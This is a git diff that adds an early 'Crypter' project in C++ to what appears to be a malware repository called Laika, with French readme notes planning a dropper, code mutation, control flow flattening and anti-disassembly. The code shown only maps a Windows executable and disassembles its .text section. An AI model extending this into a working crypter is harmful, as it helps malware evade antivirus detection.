diff --git a/.gitignore b/.gitignore
index baefdae..d4c570d 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,7 @@
+#le crypter est en WIP, pas sûr de le faire jusqu'au bout, peut-être faire un obfuscateur à la place
.vim
Laika/.vs
-Laika/release
\ No newline at end of file
+Laika/release
+Crypter/.vs
+Crypter/x64
+Dropper/
\ No newline at end of file
diff --git a/Crypter/Crypter.sln b/Crypter/Crypter.sln
new file mode 100644
index 0000000..149d808
--- /dev/null
+++ b/Crypter/Crypter.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 17
+VisualStudioVersion = 17.1.32407.343
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Crypter", "Crypter.vcxproj", "{B2AD6043-66E6-45BF-92EB-97885F7C5B54}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Debug|x64.ActiveCfg = Debug|x64
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Debug|x64.Build.0 = Debug|x64
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Debug|x86.ActiveCfg = Debug|Win32
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Debug|x86.Build.0 = Debug|Win32
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Release|x64.ActiveCfg = Release|x64
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Release|x64.Build.0 = Release|x64
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Release|x86.ActiveCfg = Release|Win32
+ {B2AD6043-66E6-45BF-92EB-97885F7C5B54}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {C281EF3B-A7D6-4774-975C-9059CF599FEF}
+ EndGlobalSection
+EndGlobal
diff --git a/Crypter/Crypter.vcxproj b/Crypter/Crypter.vcxproj
new file mode 100644
index 0000000..281c31a
--- /dev/null
+++ b/Crypter/Crypter.vcxproj
@@ -0,0 +1,156 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {b2ad6043-66e6-45bf-92eb-97885f7c5b54}
+ Crypter
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS
+ true
+ stdcpp17
+
+
+ Console
+ true
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;TRIALDLL_EXPORT
+ true
+ stdcpp17
+
+
+ Console
+ true
+ true
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/Crypter/Crypter.vcxproj.filters b/Crypter/Crypter.vcxproj.filters
new file mode 100644
index 0000000..682958d
--- /dev/null
+++ b/Crypter/Crypter.vcxproj.filters
@@ -0,0 +1,43 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {e73ec28b-18e4-4f85-9c24-b1e26d972336}
+
+
+ {00c90023-42b3-4b1a-9d61-c363b4660686}
+
+
+ {47733102-deb7-437d-ada8-bca851a43356}
+
+
+ {ecae1be1-6edb-45a9-bf23-273b5e5bf6f3}
+
+
+
+
+ Init
+
+
+ Random
+
+
+ Utils
+
+
+
+
+ Random
+
+
+ Utils
+
+
+ Config
+
+
+
\ No newline at end of file
diff --git a/Crypter/Crypter.vcxproj.user b/Crypter/Crypter.vcxproj.user
new file mode 100644
index 0000000..769ac1d
--- /dev/null
+++ b/Crypter/Crypter.vcxproj.user
@@ -0,0 +1,12 @@
+
+
+
+
+
+ WindowsLocalDebugger
+
+
+ -i x64/Debug/Laika.exe -o x64/Debug/out.exe
+ WindowsLocalDebugger
+
+
\ No newline at end of file
diff --git a/Crypter/config.hpp b/Crypter/config.hpp
new file mode 100644
index 0000000..aaf031d
--- /dev/null
+++ b/Crypter/config.hpp
@@ -0,0 +1,5 @@
+#pragma once
+
+const int PROB_ANSI = 50;
+const int CODE_BLOCK_CALL_COUNT_MIN = 5;
+const int CODE_BLOCK_CALL_COUNT_MAX = 15;
\ No newline at end of file
diff --git a/Crypter/main.cpp b/Crypter/main.cpp
new file mode 100644
index 0000000..8366d3b
--- /dev/null
+++ b/Crypter/main.cpp
@@ -0,0 +1,206 @@
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+#include
+
+#include "random.hpp"
+#include "utils.hpp"
+#include "config.hpp"
+
+
+extern g_random random;
+
+unsigned __int64 origSeed;
+int main(int argc, char* argv[]) {
+ if (argc < 5)
+ {
+ printf("Usage: %s -i -o [-s ] [-c ]", argv[0]);
+ return 1;
+ }
+
+ unsigned __int64 genSeed = random.random_seed();
+
+ char* arg_in = 0;
+ char* arg_out = 0;
+ char* arg_seed = 0;
+ char* arg_config = 0;
+
+ //==========================================================
+ // parse commandline
+ //==========================================================
+ for (int arg_i = 0; arg_i < argc; arg_i++)
+ {
+ if (strcmp(argv[arg_i], "-i") == 0) arg_in = argv[arg_i + 1];
+ if (strcmp(argv[arg_i], "-o") == 0) arg_out = argv[arg_i + 1];
+ if (strcmp(argv[arg_i], "-s") == 0) arg_seed = argv[arg_i + 1];
+ if (strcmp(argv[arg_i], "-c") == 0) arg_config = argv[arg_i + 1];
+ };
+
+ if (arg_in == 0 || arg_out == 0) {
+ printf("Usage: %s -i -o [-s ] [-c ]", argv[0]);
+ return 1;
+ }
+
+ printf("\n IN : %s", arg_in);
+ printf("\n OUT: %s", arg_out);
+ printf("\n CFG: %s", arg_config);
+ if (arg_seed == 0) {
+ printf("\n DNA: 0x%I64X \n", genSeed);
+ }
+ else {
+ printf("\n DNA: 0x%s", arg_seed);
+ }
+
+ if (arg_seed)
+ {
+ unsigned __int64 s = _strtoui64(arg_seed, NULL, 10);
+ if (s == 0) {
+ printf("\nBad seed format\n");
+ return 1;
+ }
+
+ random.set_Seed(s);
+ }
+ else {
+ random.set_Seed(genSeed);
+ }
+
+ origSeed = random.get_Seed();
+
+ StringReplace(arg_out, ".exe", "");
+ size_t n = strlen(arg_out);
+
+ char* arg_out_full = (char*)malloc(n + 20); // allocating memory for the modified string
+ memcpy(arg_out_full, arg_out, n);
+ sprintf(&arg_out_full[n], "_0x000%I64X.exe", origSeed);
+
+ printf("\n OUT: %s \n", arg_out_full);
+
+ // check absolute path, if no convert
+ if (arg_out_full && arg_out_full[1] != ':')
+ {
+ char* path = (char*)malloc(MAX_PATH * sizeof(char*));
+
+ DWORD length = GetCurrentDirectoryA(MAX_PATH, path);
+ if (arg_out_full[0] != '/' && arg_out_full[0] != '\\')
+ {
+ strcat(path, "\\");
+ }
+
+ strcat(path, arg_out_full);
+
+ arg_out_full = path;
+ }
+
+
+ printf(" Input: %s\n", arg_in);
+ printf(" Output: %s\n", arg_out_full);
+
+ if (arg_config) {
+ printf(" Config: %s\n", arg_config);
+ }
+
+
+ printf(" Seed: 0x%0.8X%0.8X\n", (DWORD)(random.get_Seed() >> 32), (DWORD)random.get_Seed());
+
+ DeleteFileA(arg_out_full);
+ free(arg_out_full);
+
+ HANDLE file_handle = CreateFileA(arg_in, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+ if (file_handle == INVALID_HANDLE_VALUE) {
+ printf(" Failed to open file %s\n", arg_in);
+ return 1;
+ }
+
+ HANDLE file_mapping_handle = CreateFileMappingA(file_handle, NULL, PAGE_READONLY, 0, 0, NULL);
+ if (file_mapping_handle == NULL) {
+ printf(" Failed to create file mapping for %s\n", arg_in);
+ CloseHandle(file_handle);
+ return 1;
+ }
+
+ void* mapped_file = MapViewOfFile(file_mapping_handle, FILE_MAP_READ, 0, 0, 0);
+ if (mapped_file == NULL) {
+ printf(" Failed to map view of file %s\n", arg_in);
+ CloseHandle(file_mapping_handle);
+ CloseHandle(file_handle);
+ return 1;
+ }
+
+ PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)mapped_file;
+ if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
+ printf(" Invalid DOS signature in %s\n", arg_in);
+ UnmapViewOfFile(mapped_file);
+ CloseHandle(file_mapping_handle);
+ CloseHandle(file_handle);
+ return 1;
+ }
+
+ PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)mapped_file + dos_header->e_lfanew);
+ if (nt_headers->Signature != IMAGE_NT_SIGNATURE) {
+ printf(" Invalid NT signature in %s\n", arg_in);
+ UnmapViewOfFile(mapped_file);
+ CloseHandle(file_mapping_handle);
+ CloseHandle(file_handle);
+ return 1;
+ }
+
+ DWORD text_addr = 0x0;
+ DWORD text_size = 0x0;
+ PIMAGE_SECTION_HEADER section_headers = (PIMAGE_SECTION_HEADER)((BYTE*)&nt_headers->OptionalHeader + nt_headers->FileHeader.SizeOfOptionalHeader);
+ for (WORD i = 0; i < nt_headers->FileHeader.NumberOfSections; ++i) {
+ if (strncmp((char*)section_headers[i].Name, ".text", 5) == 0) {
+ text_addr = section_headers[i].PointerToRawData;
+ text_size = section_headers[i].SizeOfRawData;
+ break;
+ }
+ }
+
+ printf("\n");
+
+ // Initialize decoder context
+ ZydisDecoder decoder;
+ ZydisDecoderInit(&decoder, ZYDIS_MACHINE_MODE_LEGACY_32, ZYDIS_ADDRESS_WIDTH_32);
+
+ // Initialize formatter. Only required when you actually plan to do instruction
+ // formatting ("disassembling"), like we do here
+ ZydisFormatter formatter;
+ ZydisFormatterInit(&formatter, ZYDIS_FORMATTER_STYLE_INTEL);
+
+ // Loop over the instructions in our buffer.
+ // The runtime-address (instruction pointer) is chosen arbitrary here in order to better
+ // visualize relative addressing
+ ZyanU64 runtime_address = nt_headers->OptionalHeader.ImageBase - 0x1000;
+ ZyanUSize offset = text_addr;
+ const ZyanUSize length = sizeof((char*)mapped_file);
+ ZydisDecodedInstruction instruction;
+
+ while (ZYAN_SUCCESS(ZydisDecoderDecodeBuffer(&decoder, (char*)mapped_file + offset, length - offset,
+ &instruction)) && offset < text_size + text_addr)
+ {
+ // Print current instruction pointer.
+ printf(" %016" PRIX64 " ", runtime_address);
+
+ // Format & print the binary instruction structure to human-readable format
+ char buffer[256];
+ ZydisFormatterFormatInstruction(&formatter, &instruction, buffer, sizeof(buffer), runtime_address);
+ puts(buffer);
+
+ offset += instruction.length;
+ runtime_address += instruction.length;
+ }
+
+ UnmapViewOfFile(mapped_file);
+ CloseHandle(file_mapping_handle);
+ CloseHandle(file_handle);
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Crypter/random.cpp b/Crypter/random.cpp
new file mode 100644
index 0000000..dabffb6
--- /dev/null
+++ b/Crypter/random.cpp
@@ -0,0 +1,55 @@
+#include "random.hpp"
+#include
+#include /* srand, rand */
+#include /* time */
+#include
+#include
+#include
+#include "config.hpp"
+
+g_random random;
+
+unsigned __int64 t_random::get_Seed() {
+ return seed;
+}
+
+void t_random::set_Seed(unsigned __int64 new_seed) {
+ seed = new_seed;
+ srand((unsigned int)seed);
+}
+
+// Robert Jenkins' 96 bit Mix Function
+unsigned long mix(unsigned long a, unsigned long b, unsigned long c)
+{
+ a = a - b; a = a - c; a = a ^ (c >> 13);
+ b = b - c; b = b - a; b = b ^ (a << 8);
+ c = c - a; c = c - b; c = c ^ (b >> 13);
+ a = a - b; a = a - c; a = a ^ (c >> 12);
+ b = b - c; b = b - a; b = b ^ (a << 16);
+ c = c - a; c = c - b; c = c ^ (b >> 5);
+ a = a - b; a = a - c; a = a ^ (c >> 3);
+ b = b - c; b = b - a; b = b ^ (a << 10);
+ c = c - a; c = c - b; c = c ^ (b >> 15);
+ return c;
+}
+
+unsigned __int64 t_random::random_seed() {
+ srand((unsigned long)mix(clock(), (unsigned long)time(NULL), GetCurrentProcessId())); //http://web.archive.org/web/20070111091013/http://www.concentric.net/~Ttwang/tech/inthash.htm
+ unsigned __int64 upper = (unsigned __int64)rand() << 32; // generate a random upper 32 bits
+ unsigned __int64 lower = (unsigned __int64)rand(); // generate a random lower 32 bits
+ unsigned __int64 result = upper | lower; // combine the upper and lower bits
+
+ return result;
+}
+
+bool t_random::get_proctype() {
+ return (rand() % 100) < PROB_ANSI;
+}
+
+int t_random::get_less(int min, int max) {
+ std::random_device rd; //Will be used to obtain a seed for the random number engine
+ std::mt19937 gen(rd()); //Standard mersenne_twister_engine seeded with rd()
+ std::uniform_int_distribution<> dis(min, max);
+
+ return dis(gen);
+}
\ No newline at end of file
diff --git a/Crypter/random.hpp b/Crypter/random.hpp
new file mode 100644
index 0000000..b9b673d
--- /dev/null
+++ b/Crypter/random.hpp
@@ -0,0 +1,13 @@
+#pragma once
+#include
+
+typedef struct t_random {
+ unsigned __int64 seed;
+
+ unsigned __int64 get_Seed();
+ void set_Seed(unsigned __int64 new_seed);
+
+ unsigned __int64 random_seed();
+ bool get_proctype();
+ int get_less(int min, int max);
+} g_random;
\ No newline at end of file
diff --git a/Crypter/utils.cpp b/Crypter/utils.cpp
new file mode 100644
index 0000000..dde3a0e
--- /dev/null
+++ b/Crypter/utils.cpp
@@ -0,0 +1,18 @@
+#include "utils.hpp"
+#include
+#include
+#include
+
+void StringReplace(char* in, const char* to_find, const char* replacement)
+{
+ char buffer[1024];
+ char* p;
+
+ if (!(p = strstr(in, to_find)))
+ return;
+
+ strncpy(buffer, in, p - in);
+ buffer[p - in] = '\0';
+ sprintf(buffer + (p - in), "%s%s", replacement, p + strlen(to_find));
+ strcpy(in, buffer);
+}
\ No newline at end of file
diff --git a/Crypter/utils.hpp b/Crypter/utils.hpp
new file mode 100644
index 0000000..81dee9b
--- /dev/null
+++ b/Crypter/utils.hpp
@@ -0,0 +1,3 @@
+#pragma once
+
+void StringReplace(char* in, const char* to_find, const char* replacement);
\ No newline at end of file
diff --git a/readme.md b/readme.md
index e61eca3..87b5561 100644
--- a/readme.md
+++ b/readme.md
@@ -28,9 +28,20 @@
TODO
-* Build l'agent en spécifiant la config
* Ajouter un crypteur/dropper
-
\ No newline at end of file
+
+
+# Crypter
+
+En WIP.
+
+
+TODO
+
+* Ajouter du code mutation
+* Control flow flattening
+* Anti-disassembly
+